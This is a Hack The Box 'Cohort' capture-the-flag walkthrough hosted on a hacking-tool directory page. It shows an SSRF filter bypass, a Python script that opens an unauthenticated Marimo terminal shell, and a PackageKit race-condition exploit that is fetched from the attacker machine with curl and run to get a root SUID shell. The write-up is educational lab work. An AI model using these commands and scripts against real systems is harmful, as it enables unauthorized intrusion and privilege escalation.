Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/1nt1m4cy/htb-cohort
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHub1nt1m4cy/htb-cohort

HTB-Cohort

Hack The Box "Cohort" walkthrough covering SSRF filter bypass, unauthenticated Marimo terminal access, and PackageKit race-condition privilege escalation to root.

215 days agoNot yet reviewed
Share
View Repository

HTB Cohort Writeup

Difficulty: Easy | OS: Linux | Author: 1nt1m4cy


Scan

We start by scanning the target to see what's running:

nmap -sCV --top-ports 1000 --min-rate 3000 10.129.244.174

Three open ports:

22/tcp  - SSH (OpenSSH 9.6p1 Ubuntu)
80/tcp  - HTTP (nginx 1.24.0) -- redirects to https://cohort.htb/
443/tcp - HTTPS (nginx 1.24.0)

The TLS certificate shows the domain cohort.htb and a wildcard *.cohort.htb (hidden subdomains might exist).

Add it to your hosts file:

echo "10.129.244.174 cohort.htb" | sudo tee -a /etc/hosts

Website

Open https://cohort.htb/ -- it's a company site for "Cohort Analytics". Not much here.

Click "Client Insights" in the nav bar. It takes you to /portal.html. This page has a form where you give it a URL and the server fetches it for you. That's SSRF -- the server makes requests on our behalf.


SSRF

The form POSTs to /api/validate. If we try http://127.0.0.1/, it says "Internal or loopback addresses are not permitted." -- blocked.

But 127.1 bypasses the filter (it's shorthand for 127.0.0.1 and the filter doesn't catch it):

curl -sk https://cohort.htb/api/validate -X POST \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.1/","format":"JSON"}'

Works. We have SSRF.


Finding Hidden Services

Use the SSRF to check nginx's /status endpoint:

curl -sk https://cohort.htb/api/validate -X POST \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.1/status","format":"JSON"}'

This leaks the entire nginx config:

{
  "service": "cohort-edge",
  "upstreams": [
    { "name": "marketing", "host": "cohort.htb" },
    { "name": "insights-api", "path": "/api/", "target": "127.0.0.1:5000" },
    {
      "name": "notebooks",
      "host": "nb-1be3782a8afd3ad5.cohort.htb",
      "target": "127.0.0.1:8888",
      "note": "internal analyst workspace, not for external use"
    }
  ]
}

There's a hidden subdomain: nb-1be3782a8afd3ad5.cohort.htb running on port 8888. Add it:

echo "10.129.244.174 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts

Identifying the Service

Use the SSRF to see what's on port 8888:

curl -sk https://cohort.htb/api/validate -X POST \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.1:8888/","format":"JSON"}'

The response HTML has <title>marimo</title> -- it's Marimo, a Python notebook app.

Get the exact version:

curl -sk https://cohort.htb/api/validate -X POST \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.1:8888/api/version","format":"JSON"}'

Version: 0.20.4


Foothold -- CVE-2026-39987

Marimo 0.20.4 has a critical vulnerability (CVE-2026-39987). The WebSocket endpoint /terminal/ws gives you a full terminal but has no authentication check. Anyone can connect.

Install the websocket library:

pip install websocket-client

Save this as shell.py:

import ssl, sys, threading, websocket

ws = websocket.create_connection(
    "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws",
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

def recv():
    while True:
        try:
            data = ws.recv()
            if isinstance(data, bytes): data = data.decode(errors="replace")
            print(data, end="")
        except: break

threading.Thread(target=recv, daemon=True).start()
for line in sys.stdin:
    ws.send(line)

Run it:

python3 shell.py

You get a shell as marimo. Grab the user flag:

marimo@cohort:~$ cat ~/user.txt

Privilege Escalation -- CVE-2026-41651

Check what's installed:

pkcon --version
# 1.2.8

dpkg -l packagekit
# hi  packagekit  1.2.8-2ubuntu1.2  amd64

PackageKit 1.2.8-2ubuntu1.2 is vulnerable to CVE-2026-41651 -- a race condition that lets a normal user install a malicious package as root. The hi in dpkg output means the package is deliberately held at this old version.

On your attack machine, download the exploit and serve it:

git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
python3 -m http.server 8080

On the target (in your shell), download and run it:

cd /tmp
curl -o exploit http://YOUR_IP:8080/cve-2026-41651
chmod +x exploit
./exploit

Wait about 10 seconds. The exploit creates a SUID bash at /tmp/.suid_bash. Use it:

/tmp/.suid_bash -p -c 'cat /root/root.txt'

The -p flag tells bash to keep the root privileges instead of dropping them.


Attack Chain

Nmap --> ports 22, 80, 443, domain cohort.htb with wildcard *.cohort.htb
  |
  v
Portal at /portal.html --> URL validation form (SSRF)
  |
  v
SSRF bypass with 127.1 --> hit /status --> leaked hidden vhost nb-1be3782a8afd3ad5.cohort.htb
  |
  v
Marimo 0.20.4 on the vhost --> CVE-2026-39987: unauthenticated /terminal/ws
  |
  v
Shell as marimo --> user flag
  |
  v
PackageKit 1.2.8-2ubuntu1.2 --> CVE-2026-41651: TOCTOU race condition
  |
  v
SUID bash --> root flag
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →